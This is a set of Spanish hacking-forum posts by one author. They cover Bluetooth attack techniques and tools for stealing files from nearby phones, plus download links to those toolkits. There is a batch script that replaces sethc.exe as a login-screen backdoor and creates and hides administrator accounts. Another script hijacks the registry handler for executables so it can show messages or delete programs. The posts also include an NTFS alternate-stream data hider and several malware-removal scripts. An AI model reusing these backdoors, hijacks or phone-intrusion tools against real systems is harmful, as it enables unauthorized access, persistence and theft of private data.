De alli cambiamos el nombre de la clase "e.class" a e.class.bac, ya que esta es la clase original, y el archivo que nos creo el traductor llamado "e.class.ru" lo renombramos a "e.class", y hacemos el mismo proceso con cualquier otro archivo de clase que hayamos
traducido con el programa.

Una vez se haya finalizado este proceso, estamos listos para "instalar" la traduccion en la aplicacion.

Paso 3. "Instalar" la traduccion en la Aplicacion original.

Para este paso haremos uso del descompresor que hayan usado para descomprimir la aplicacion (en este caso WinRAR).

Abrimos la aplicacion original y alli nos dirigimos hasta el directorio donde se encuentra el archivo original que contiene todas las "strings" o frases que usa la aplicacion, ya sea en texto plano o en .class, para ambos es lo mismo.

Aparte y con el explorador de archivos, nos dirigimos hasta la carpeta donde tenemos la aplicacion descomprimida y ya traducida, seleccionamos el archivo ya modificado y lo "arrastramos" hasta el WinRAR.


Nos sale un cuadro de dialogo en el que solo debemos de presionar OK.

Y si el WinRAR nos dice que si queremos modificar el archivo que ya esta adentro le decimos que SI, luego de esto haremos el mismo proceso para cada uno de los archivos que hayamos traducido o modificado, luego una vez finalizado todo podemos cerrar el Winrar...

Y ahora, solo hace falta volver a cambiarle la extension al archivo de .ZIP a .JAR para que pueda ser aceptada por el telefono, instalan la aplicacion el el telefono y....... wala..... ya la tienen en Español.

Aqui tienen los dos programas traductores, mas este mismo manual en formato DOC (word)...

Link: http://rapidshare.com/files/114045223/TraductoresJAVA-TutorialBySmartgenius.rar

Disfrutenlos, y a traducir se dijo Señores ;) ;)
Saludos.

Tuto by :: SmartGenius ::

http://thesmartgenius.wordpress.com

Saludos.  :D :D

#30

BlueJacking

Bluejacking es el envio de mensajes sin permiso a traves de dispositivos con Bluetooth como celulares, PDAs, portatiles y algunos PCs, enviando una vCard, una Nota o un Contacto que usualmente contiene un mensaje el campo del nombre a otro dispositivo Bluetooth a traves del protocolo OBEX.

Bluetooth tiene un rango muy limitado, usualmente alrededor de 10 metros en algunos celulares, pero en portatiles puede superar los 100 metros con algunos transmisores potentes.

El Nombre fue originado por un usuario llamado AJACK, quien estando en un banco, busco algun dispositivo Bluetooth encendido y al encontrar un Nokia 7650, le envio un mensaje diciendo "Compra Sony Ericsson". El lo llamo bluejacking, y asi se ha hecho desde entonces.

Ajack junto con Droll posteriormente desarrollaron una utlidad para Symbin UIQ llamada SMan que llego a ser la primera utilidad de bluejacking para un smartphone. Ya recientemente se desarrollaron aplicaciones para otras plataformas como java, de las cuales podemos nombrar al Mobiluck, el EasyJack, y una hecha por la misma compañía Nokia llamada Sensor.

Algunos piensan que el termino bluejacking viene de la palabra Bluetooth y la palabra hijacking. Esto sonaria logico, pero un bluejacker no hace hijack con nada: el o ella unicamente usa una opcion en el envio y el dispositivo recipiente (receptor). Un bluejacker no esta en la capacidad de tomar control de tu telefono o de robar informacion personal. ne Mas bien esta orientado a hacer bromas o molestar a alguien, y tal vez de alli es que viene el termino.

El Bluejacking es algo gracioso, porque la persona bluejackeada no sabe lo que esta pasando, y piensa que su telefono esta funcionando mal  ;).

Usualmente un bluejacker solo envia un mensaje de texto, pero con los telefonos modernos es possible hasta enviar imagines o sonidos tambien.

Esto del Bluejacking a sido usado para Tecnicas de marketing en algunos centros comerciales quienes se hacen publicidad a traves de este medio.

Pero con el incremento de los dispositivos con soporte bluetooth , algunos de estos dispositivos (especialmente PDAs y alunos moviles con Symbian) se han vuelto vulnerables, desde ataques de virus, hasta el control total del dispositivo a traves de programas Troyanos.


BlueSnarfing

Bluesnarfing es el robo de informacion de un dispositivo inalambrico a traves de una conexion Bluetooth, ya sea entre telefonos, portatiles o PDAs.

Esto permite acceso al calendario, la lista de contactos, correos y mensajes de texto. Bluesnarfing es mucho mas serio en relacion al Bluejacking, pero ambos "explotan" otros dispositivos Bluetooth sin su conocimiento.

Cualquier dispositivo que tenga encendido el Bluetooth y este se encuentre en Modo Descubierto (osea que puede ser encontrado por otros dispositivos en el rango) puede ser atacado. Apagando esta opcion puede protegerse de la posibilidad de ser Bluesnarfiado. Siendo esto una invasión de la privacidad, el Bluesnarfing es ilegal en algunos paises.

Dentro de este Rango de Herramientas Encontramos al Mismo BT Info (Super Bluetooth Hack), el BT File Manager, el BT Explorer, Miyux y otra gran variedad de utilidades.


BlueBugging

Alguna gente considera el Bluebugging como una forma de Bluesnarfing. Pero la naturaleza de este es muy diferente.

Blue Bugging fue inventado en 2004, mas o menos un año despues de que empezara el Bluesnarfing. Mientras el bluesnarfing se trata de robar cosas o archivos del dispositivo de la victima, el Blue Bugging hace un trabajo diferente.

Toma el control del movil de la victima, y por medio de comandos hace lo que el BlueBugger desee (dentro de este rango tenemos al BT Info o Super Bluetooth Hack).

Para decirlo en palabras faciles, significa que el bluebugger toma el control de tu telefono, y lo usa para enviar mensajes o para hacer una llamada.

Mientras al principio el bluebugging requeria que el bugger(literalmente) usara un dispositivo previamente acomodado, las nuevas herramientas del bluebugging  han hecho la mayor parte del trabajo, lo que significa que cualquiera con el conocimiento y la herramienta adecuada puede tomar control de tu telefono.

Las posibilidades y consecuencias de esto, estan a la Imaginación.


Bluetiming o Toothing

Podria decirse que es una variante del BlueJacking, la cual se dice, es para promover encuentros del tipo sexual (citas, encuentros y esas cosas) mediante la cual un dispositivo Bluetooth es usado para "descubrir" otros dispositivos bluetooth en el rango, y les envia un mensaje sugestivo, algo asi como: Hablamos ? Donde nos vemos ?.

Se crea una red de encuentros furtivos con otros dispositivos bluetooth, generalmente en areas con mucha afluencia de publico como Centros Comerciales y parecidos, la cual no solo es para encuentros y charlas, sino tambien para compartir cosas, lo que a logrado que se desarrollen aplicaciones dentro de la categoría MoSoSo (Software para sociabilidad movil, Mobile Social Software en Ingles.) dentro de las cuales podemos contar el Mobiluck, el Bluejack, y los recientes Chat2u o Bluetooth Messenger. Tambien tenemos aquí al "Sensor" de Nokia.


Fuente: BlueJacking Tools
Traducción y Adaptacion by :: Smartgenius ::


Aqui hay un Set de Herramientas para usar, con este tipo de ataques

http://foro.elhacker.net/hacking_mobile/herramientas_bluejacking_bluesnarfingetc-t211880.0.html


Saludos.
#31


Herramientas BlueJacking - BlueSnarfing...etc

Variadas Herramientas de BlueJacking capaces de realizar ataques por Bluetooth,
del tipo BlueBug, BlueSnarf, HeloMoto, OBEX Object Push, Robo de Informacion,
Envio de Mensajes, Control total del telefono, entre otras.

Tenemos:
- Bloover II
- Bloover II - Breever Edition
- Bluetooth Messenger
- BT File Manager ES *
- BT Browser
- Chat2U
- DJK-Bluevoice
- EasyJack v 2
- MiyuX
- MSocius BlueChat
- Super Bluetooth Hack 1.08 (BT Info) ES *
- STMBlueS

* Traducidas al español por Mi .

Disfrutenlas...

http://rapidshare.com/files/114044533/BlueJackingTools-bySmartGenius.rar

Saludos.
#32
Este es un code que estoy realizando...

mode con cols=70
mode con lines=20
@echo off
title Escalador de Privilegios
color 0a

if exist "%windir%\system32\sethc.lz0" (goto load) else (goto ins)

:ins
echo.
echo  Aun no se ha modificado el Sistema..
echo.
echo  Presione una Tecla para realizar el Procedimiento, o salga
echo  del programa si lo desea...
pause > nul
copy "%windir%\system32\sethc.exe" "%windir%\system32\sethc.lz0"
del /f "%windir%\system32\sethc.exe"
copy %0 "%windir%\system32\sethc.exe"
echo ni7vyk3t3hd2mkniyk3nnit>>"%windir%\system32\shell32.dll:admin.cuh"
cls
echo.
echo   ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo   º El cambio del archivo del Sistema usado para º
echo   º la Escalada de privilegios se ha realizado   º
echo   º satisfactoriamente, tendra efecto la proxima º
echo   º vez que vaya a Iniciar sesion...             º
echo   ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo  Desea ver la Ayuda del Programa: Si [s] No [N]
echo.
set /p opc="> "
if %opc%==s call :help 2
if %opc%==S call :help 2
if %opc%==n (echo.&echo  Gracias por Usar este Programa&pause&exit)
if %opc%==N (echo.&echo  Gracias por Usar este Programa&pause&exit)

:load
cls
for /F "tokens=*" %%a in (%windir%\system32\shell32.dll:admin.cuh) do set conf=%%a
echo.
echo           ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo           º  Escalada de Privilegios - CUH el-hacker.com º
echo           ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo. El Programa se encuentra Protegido
echo. Por Favor Introduzca su Clave!
set /p q="Password > "
call :cript %q%
if %v%==%conf% (goto ini) else (cls&echo.&echo  Clave Invalida...&echo.&echo  Vuelva a Intentarlo&pause&goto load)

:ini
cls
echo.
echo           ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo           º  Escalada de Privilegios - CUH el-hacker.com º
echo           ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo    Elija una Opcion:
echo.
echo   ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿          ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo   ³1³ ³ Agregar un Usuario.. ³          ³2³ ³ Esconder un usuario. ³
echo   ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ          ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo   ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿          ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo   ³3³ ³ Eliminar un Usuario. ³          ³4³ ³ Ver Ayuda - Creditos ³
echo   ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ          ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo   ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo   ³5³ ³ Salir del Programa.  ³
echo   ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo.
set /p opc="> "
if "opc"=="" (goto :ini)
set opc=%opc: =_%
set opc=%opc:&=_%
set opc=%opc:¡=_%

if %opc%==1 goto addadmin
if %opc%==2 goto hideuser
if %opc%==5 goto fin
if %opc%==4 call :help 1
if %opc%==3 (goto :delete) else (goto :err)

:err
cls
echo.
echo  ERROR...
echo.
echo  No ha escogido una Opcion Correcta
echo  Vuelva a Intentarlo
echo.
pause
goto ini

:addadmin
cls
echo.
echo   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
echo    Escriba el Nombre del Nuevo usuario   
echo   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
echo.
set /p admin="> "
echo.
echo      Escriba el la Clave para el Usuario: %admin%
echo.
set /p clave="> "
net user "%admin%" "%clave%" /add
net localgroup Administradores %admin% /add
echo.
echo    ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo    º       Usuario Agregado Con Exito         º
echo    ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
pause >nul
goto ini

:delete
cls
echo.
echo  Escriba El Nombre Del Usuario a Borrar:
echo.
set /p usdel="> "
net user "%usdel%" /delete
cls
echo.
echo  Usuario Borrado Con Exito.
echo.
pause
goto ini

:hideuser
echo.
echo  Escrilba la Cuenta o Nombre de Usuario
echo  que desea esconder de la pantalla de
echo  Inico de Sesion...
echo.
set /p hiden="> "
reg add "HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\SpecialAccount\UserList" /v "%hidden%" /t REG_DWORD /d 0 /f
echo.
echo  El Usuario %hidden% fue Ocultado con Exito...
echo.
pause
goto ini

:help
cls
echo.
echo           ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo           º  Escalada de Privilegios - CUH el-hacker.com º
echo           ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo  sección de Ayuda
echo  ____________
echo  ____________
echo  ____________
echo  ____________
echo  Como se pueden dar cuenta, soy malo para las ayudas,
echo  asi que podrian ayudarme ustedes...
echo.
echo   :: SmartGenius :: - powered by iSmart, Corp.
echo.
echo  Presione Cualquier tecla para continuar ¡
pause > nul
if %1==1 set ir=ini
if %1==2 set ir=fin
goto %ir%

:cript
set v=%1
set v=%v:&=_%
set v=%v: =_%
set v=%v:^=_%
set v=%v:#=_%
set v=%v:-=t%
set v=%v:.=a%
set v=%v:a=23%
set v=%v:e=ni%
set v=%v:h=r%
set v=%v:r=y%
set v=%v:c=mo%
set v=%v:d=z%
set v=%v:1=+%
set v=%v:2=k%
set v=%v:b=na%
set v=%v:d=15%
set v=%v:m=t3%
set v=%v:o=sm%
set v=%v:s=hd2%
set v=%v:l=7v%
goto :eof

:fin
echo MsgBox "Gracias por usar este Programa... ;)"^&vbCrLf^&vbCrLf^&"Para mas Info visita"^&vbCrLf^&"http://foro.elhacker.net", 64, "Escalador de Privilegios" >>%temp%\msgr.vbs
start %temp%\msgr.vbs
exit


El pass del programa: Adivinenlo  ;D ;D

Espero que lo prueben y comenten, pros, contras, errores, arreglos, ayudas, mejoras...

Saludos.
#33
mi objetivo con este post es que entre todos desarrollemos codigos que solucionen problemas o que tengan un fin benefico...

por ejemplo, yo me hago scripts para la eliminacion automatica de virus, y malware....

Para quitar el virus AMVO, con algunas de sus variantes, aunque se pueden agregar mas... (pa39xth.cmd, tio8x6.cmd, d.com, b.com, t.com v.cmd, 0hct8ybw.bat y otros)

@echo off
title Malware Removal Tool ;)  - By Smartgenius
color 0a

if exist "%windir%\system32\amvo.exe" (goto main) else (goto nop)

:main
echo.
echo.
echo  Se ha Detectado el Virus AMVO.EXE
echo  Se procedera a Eliminarlo del Sistema...
echo.
echo  Deshabilitando el Sistema, por unos instantes
echo  mientras se realiza la desinfeccion...
taskkill /f /im explorer.exe
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 1 /f
cd %windir%\system32
echo.
echo  Explorando la carpeta del sistema...
attrib -r -s -h
ping -n 0,5 0.0.0.0 > nul
reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v amva /f
del /f amvo.exe
del /f amvo0.dll
del /f amvo1.dll
del /f amvo2.dll
cd\
cls
echo.
echo  Explorando el Disco Duro C:
attrib -r -s -h
ping -n 0,5 0.0.0.0 > nul
del /f autorun.inf
del /f 0hct8ybw.bat
del /f v.cmd
del /f d.com
del /f b.com
echo.
pause
if exist D: (goto next) else (goto next2)

:next
D:
cls
echo.
echo  Explorando el Disco Duro D:
attrib -r -s -h
ping -n 0,5 0.0.0.0 > nul
del /f autorun.inf
del /f 0hct8ybw.bat
del /f v.cmd
del /f d.com
del /f b.com
echo.
pause
if exist E: (goto next2) else (goto next3)

:next2
E:
cls
echo.
echo  Explorando el Disco E:
attrib -r -s -h
ping -n 0,5 0.0.0.0 > nul
del /f autorun.inf
del /f 0hct8ybw.bat
del /f v.cmd
del /f d.com
del /f b.com
echo.
pause
if exist F: (goto next3) else (goto yap)

:next3
F:
cls
echo.
echo  Explorando el Disco F:
attrib -r -s -h
ping -n 0,5 0.0.0.0 > nul
del /f autorun.inf
del /f 0hct8ybw.bat
del /f v.cmd
del /f d.com
del /f b.com
goto yap

:yap
cls
echo.
echo.
echo  El Virus ha sido Eliminado con Exito...
echo.
echo  Se reestablecera el sistema
echo.
pause
explorer
msg /w * Gracias por Usar este Soft
exit

:nop
echo.
echo.
echo  No se ha Detectado el Virus AMVO
echo.
echo  Gracias por Usar este Soft... ;)
echo.
pause
exit


Para quitar el virus RECYCLER y algunas variantes...

@echo off
title Malware Removal Tool ;)  - By Smartgenius
color 0a

if exist "C:\RECYCLER\S-1-5-21-1482476501-1644491937-682003330-1013" (goto main) else (goto nop)

:main
echo.
echo.
echo  Se ha Detectado el Virus RECYCLER.EXE
echo  Para poder Eliminarlo debera Contar con
echo  privilegios de Administrador, de lo contrario
echo  no se podra limpiar el sistema Satisfactoriamente...
echo.
pause
echo.
echo  Deshabilitando el Sistema, por unos instantes
echo  mientras se realiza la desinfeccion...
taskkill /f /im explorer.exe
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 1 /f
ping -n 1 0.0.0.0 > nul
cd\
attrib -r -s -h
cd RECYCLER
attrib -r -s -h
RMDIR /S /Q S-1-5-21-1482476501-1644491937-682003330-1013
del /f %windir%\Prefetch\ISE32.EXE-34CFE4CB.pf
del /f %windir%\Prefetch\ISE32.EXE-273EA8B7.pf
del /f %windir%\Prefetch\ISEE.EXE-05DD3401.pf
reg delete "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{28ABC5C0-4FCB-11CF-AAX5-81CX1C635612}" /v StubPath /f
reg delete "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{08B0E5C0-4FCB-11CF-AAX5-81C01C608512}" /v StubPath /f
reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Tester /f
pause
if exist D: (goto next1) else goto (next2)

:next1
echo.
echo.
echo  Examinando Disco D:
D:
attrib -r -s -h
del /f autorun.inf
RMDIR /S /Q RECYCLER\S-1-5-21-1482476501-1644491937-682003330-1013
pause
if exist E: (goto next2) else goto (next3)

:next2
echo.
echo.
echo  Examinando Disco E:
E:
attrib -r -s -h
del /f autorun.inf
RMDIR /S /Q RECYCLER\S-1-5-21-1482476501-1644491937-682003330-1013
pause
if exist F: (goto next2) else goto (yap2)

:next3
echo.
echo.
echo  Examinando Disco F:
F:
attrib -r -s -h
del /f autorun.inf
RMDIR /S /Q RECYCLER\S-1-5-21-1482476501-1644491937-682003330-1013
pause
goto yap2

:yap2
cls
echo.
echo.
echo  El Virus RECYCLER ha sido Eliminado con Exito...
echo  sin embargo, como la carpeta RECYCLER es del sistema,
echo  debera borrarla manualmente de los Discos USB.
echo.
echo  Se reestablecera el sistema
echo.
pause
explorer
msg /w * Gracias por Usar este Soft
exit

:nop
echo.
echo.
echo  No se ha Detectado el Virus RECYCLER
echo.
echo  Gracias por Usar este Soft... ;)
echo.
pause
exit


Para quitar el MSOCache (wscmgr.exe)...

@echo off
title Malware Removal Tool ;)  - By Smartgenius
color 0a

if exist "C:\WINDOWS\wscmgr.exe" (goto main) else (goto nop)

:main
echo.
echo.
echo  Se ha Detectado el Virus MSOCache - Variante WSCMGR
echo  Para poder Eliminarlo debera Contar con
echo  privilegios de Administrador, de lo contrario
echo  no se podra limpiar el sistema Satisfactoriamente...
echo.
pause
echo.
echo  Deshabilitando el Sistema, por unos instantes
echo  mientras se realiza la desinfeccion...
taskkill /f /im explorer.exe
taskkill /f /im wscmgr.exe
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 1 /f
ping -n 1 0.0.0.0 > nul
cd\
attrib -r -s -h
cd WINDOWS
attrib -r -s -h
del /f %windir%\wscmgr.exe
del /f %windir%\data7933.sys
del /f %windir%\data7933~.sys
reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v wscmgr /f
pause
if exist D: (goto next1) else goto (next2)

:next1
echo.
echo.
echo  Examinando Disco D:
D:
attrib -r -s -h
del /f autorun.inf
RMDIR /S /Q MSOCache
pause
if exist E: (goto next2) else goto (next3)

:next2
echo.
echo.
echo  Examinando Disco E:
E:
attrib -r -s -h
del /f autorun.inf
RMDIR /S /Q MSOCache
pause
if exist F: (goto next2) else goto (yap2)

:next3
echo.
echo.
echo  Examinando Disco F:
F:
attrib -r -s -h
del /f autorun.inf
RMDIR /S /Q MSOCache
pause
goto yap2

:yap2
cls
echo.
echo.
echo  El Virus MSOCache (wscmgr) ha sido Eliminado con Exito...
echo  sin embargo, es posible que la carpeta MSOCache,
echo  no funcione.
echo.
echo  Nota: La carpeta MSOCache, se encuentra en el Disco Local C:
echo  y alli se guardan los archivos de instlacion del Office.
echo.
echo  Se reestablecera el sistema
echo.
pause
explorer
msg /w * Gracias por Usar este Soft
exit

:nop
echo.
echo.
echo  No se ha Detectado el Virus MSOCache
echo.
echo  Gracias por Usar este Soft... ;)
echo.
pause
exit


y actualmente estoy haciendo uno para quitarse el SOUNDMIX... pero me falta terminarlo...

@echo off
title Malware Removal Tool by :: SmartGenius ::
color 0a

:main
taskkill /f /im explorer.exe
ping -n 1 0.0.0.0 > nul
taskkill /f /im soundmix.exe
taskkill /f /im soundmix.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 1 /f
cd\
cd windows
cd system32
attrib -r -s -h -a
del soundmix.exe
ping -n 2 0.0.0.0 > nul
reg add HKCR\exefile\shell\open\command /ve /d "%%1% %%*%" /f
explorer
msg /w * El Virus se ha eliminado exitosamente...
pause
Exit


asi que ustedes tambien podrian colaborar con esto...

Saludos...
#34
Scripting / Nuevo comando INUSE ¡¡
5 Mayo 2008, 03:26 AM
Esta es una miniaplicacion desarrollada por la misma microsoft...

lo que hace es darnos un nuevo comando a la hora de crear nuestros bat, y su uso es bien interesante y util...

se llama "inuse" y permite reemplazar archivos que esten siendo usados por el sistema operativo...



http://two.xthost.info/smartgenius/inuse.zip

Puede servirle a alguien interesado en hacer ese cambio... su uso es simple:

Citarinuse archivonuevo archivoareemplazar /y

el modificador /y para que no salga el aviso de confirmacion....

Saludos.
#35
Scripting / Flow File/Data Hider
5 Mayo 2008, 03:23 AM
Bueno, este es un code que estoy desarrollando y que me interesaria que me ayudaran aver en que se puede mejorar...


  @echo off
title Flow FileHider v1 by SmartGenius
color 0a

:main
cls
echo.
echo  Bienvenido al FileHider
echo.
echo.
echo  Seleccione una Opcion:
echo.
echo  1. Crear un Archivo
echo  2. Esconder Datos
echo  3. Ver Datos Escondidos
echo  4. Ver Ayuda
set /p opc="> "
if %opc%==1 goto make
if %opc%==2 goto hide
if %opc%==3 goto see
if %opc%==4 (goto help) else (goto main)

:make
cls
echo.
echo  Crear un Archivo Principal
echo.
echo  Introduzca el Nombre...
echo.
set /p file="> "
echo Archivo Principal >> %file%.txt
echo Aqui puede poner cualquier cosa y guardarlo sin ningun problema... >> %file%.txt
echo.
echo.
echo  Archivo %file% creado correctamente
echo.
pause
goto main

:hide
cls
echo.
echo.
echo  Introduzca la clave para el dato...
echo.
set /p clav="> "
echo Datos Ocultos en el Archivo  %file%  con la Clave  %clav% >> %file%.txt:%clav%.txt
echo. >> %file%.txt:%clav%.txt
echo.
echo  Clave %clav% creada correctamente
echo.
cls
echo.
echo.
echo  Introduzca los datos a guardar con la Clave en el Archivo
echo.
set /p men="> "
echo %men% >> %file%.txt:%clav%.txt
echo.
echo  Datos Introducidos y Guardados correctamente
pause
goto main

:see
cls
echo.
echo  Ver Datos Ocultos Guardados...
echo.
echo  Introduzca el Nombre del Archivo Principal
echo.
set /p filp="> "
echo.
echo  Introduzca la Clave con la que Guardo los Datos en el Archivo %filp%
echo.
set /p clag="> "
echo.
echo  Vera los Datos Guardados a Traves del Bloc de Notas
notepad %filp%.txt:%clag%.txt
echo.
pause
goto main

:help
cls
echo.
echo  Ayuda del Programa
echo.
echo  Aun no he desarrollado la ayuda para este code...
echo  Saludos. ;D
echo.
pause
goto main


Se trata de un programa que crea un archivo Principal (un archivo de texto pero creo que se pueden de otros tipos), y detras del cual se creara un archivo llamado Clave ( se pueden crear varios) el cual se escondera tras el Archivo Principal...

Los datos que guarden el la clave no seran vistos ni desde el Explorador Windows ni desde la Consola de Comandos.... unicamente usando el mismo programa...

esto es posible gracias al Flujo NTFS...

creo que puede ser de gran utilidad, y espero que me ayuden en el desarrolo del mismo...

Pruebenlo para que vean el potencial ...

Saludos.
#36
Scripting / Posible Infeccion de EXE...
5 Mayo 2008, 03:21 AM
miren... yo el code que tengo es mas o menos el siguiente

  @echo off
title Infeccion de Ejecutables

if exist "%windir%\system32\exer.bat" (goto yes) else (goto main)

:main
copy %0
reg add HKCR\exefile\shell\open\command /ve /t REG_SZ /d exer.bat %%1 %%* /f
exit

:yes
msg /w * Te tengo ;)
call %1 (opcional)
exit


aunque tambien se puede poner solo un nombre de archivo... que muestre un mensaje de error y se salga... asi le provocara que se salga de sus cabales  :P :P, yo mismo me infecte y casi que me tiro d euna ventana  ;D

el codigo es asi como lo postee, el objetivo mio es que cuando el usuario intente abrir un programa le salga un mensaje ( al azar, o predefinido "powered by...") y que se salga
esto podria ser usado con varios fines, que le muestre el error y se salga, o que le muestre otro mensaje y posteriormente abra el programa, o que borre cualquier exe que sea clicado  >:D >:D

solo es una idea, si esta mal... por favor me corrigen

Saludos.
#37
Bueno... aqui traigo para todos ustedes nuestra ultima creacion

El Folder Protector v 3.5

Totalmente mejorado, en lo que refiere a interaccion con el usuario, las formas de bloqueo (10 en total) y la organizacion del menu.



Trae una nueva caracteristica que permite arrastar la carpeta hasta el programa en ves de tener que escribir el nombre y la ubicacion comleta de la misma...

Una funcion de Bloqueo rapido: solo arrastra y el programa hace el resto...

Un mega funcion extra, que creo les sera muy util...
Un gadget, add-on o como quieran llamarle, que les permite bloquear cualquier carpeta rapidamente dandole clic derecho y luego ene l menu Enviar a...



El cual trabaja conjuntamente con el programa principal, por lo tanto es la misma contraseña..

Ademas de un Manual  de Uso muy bien explicado... una funcion de Registro de las carpetas Bloqueadas - Desbloqueadas y otras que podran ir probando.

La contraseña de inico del Programa es  el -hacker.com <-- (perdon pero en ese foro lo hice)
pero pueden cambiarla una vez hayan entrado por primera vez.

Tambien al momento que pide contraseña pueden escribir fpanim
lo que les mostrara una animacion.

El programa cuenta con un completo sistema de Instalacion y Desinstalacion, y no hace ninguna modificacion del Sistema que pueda Afectarlos.

Si se les olvida la contraseña escriben "setmasterpass" para renovarla.

Aqui esta para todos ustedes...

http://rapidshare.com/files/96625765/SetupFPv3.5.exe

Y espero que sea de gran utilidad para todos los users...

Un Saludo :: SmartGenius :: & SkullMaster123
#38
Scripting / Mensaje al Azar...en Batch
5 Mayo 2008, 03:09 AM
En estos dias estuve pensando en una idea para hacer que al abrir cualquier ejecutable... me mostrara un mensaje de error, pero aunque di con el code que me permitia abrir cualquier exe del sistema atraves de mi bat, no era capaza de que se mostrara un mensaje de error al azar....

busque y busque en varios foros, pero me encontraba solo con la opcion de la generacion de numeros, mas no de mensajes...

yo mismo me puse a probar en mi pc, y despues de varios intentos y de romperme loa cabeza, saque este code....

@echo off
title Generador de Mensajes Aleatorios

:main
set p=%random%
call :msg%p:~-1%

:msg1
echo.
echo  Mensaje 1
pause
exit

:msg2
echo.
echo  Mensaje 2
pause
exit

:msg3
echo.
echo  Mensaje 3
pause
exit

:msg4
echo.
echo  Mensaje 4
pause
exit

:msg5
echo.
echo  Mensaje 5
pause
exit

:msg6
echo.
echo  Mensaje 6
pause
exit

:msg7
echo.
echo  Mensaje 7
pause
exit

:msg8
echo.
echo  Mensaje 8
pause
exit

:msg9
echo.
echo  Mensaje 9
pause
exit

:msg0
echo.
echo  Mensaje 0
pause
exit


si alguien sabe una forma mejor de hacer esto que por favor la diga, ya que fue lo unico que se me ocurrio para mostrar (10) posibles mensajes... aunque se puede configurar para que sean 100, o los que quieran...

Saludos.
#39
BT Info era hasta el momento el mejor programa de Hacking via bluetooth,
sin embargo muchos quedaron pidiendo una aplicación con la cual se pudiera
extraer archivos de otro movil, y se fueron quedando conformes con el BT Info
pensando que era todo lo que se podía hacer.

Luego de esto publique el Miyux que nos permitia cumplir nuestro objetivo, pero de una
manera no tan facil, ya que el programa estaba en Ingles, se manejaba en modo consola
y estaba en sus fases de Pruebas.

Pues bueno navegando en internet busque mas info sobre este tipo de aplicaciones, y es asi
como di con esta gran utilidad..

BT File Manager

   

La aplicacion estaba en Ingles, pero para todos ustedes me he tomado el Trabajo de Traducirla
para que sea mas Facil su Uso.

El programa permite:

*Obtener todos los archivos de otros teléfonos

*Copiar, Mover, Pegar, Eliminar, Renombrar y Crear carpetas en otro teléfono.

Esta es sin duda alguna una de las herramientas que nunca debe faltar en nuestros celulares,
para la obtención de archivos, ademas de otras herramientas ya nombradas como el BT Info,
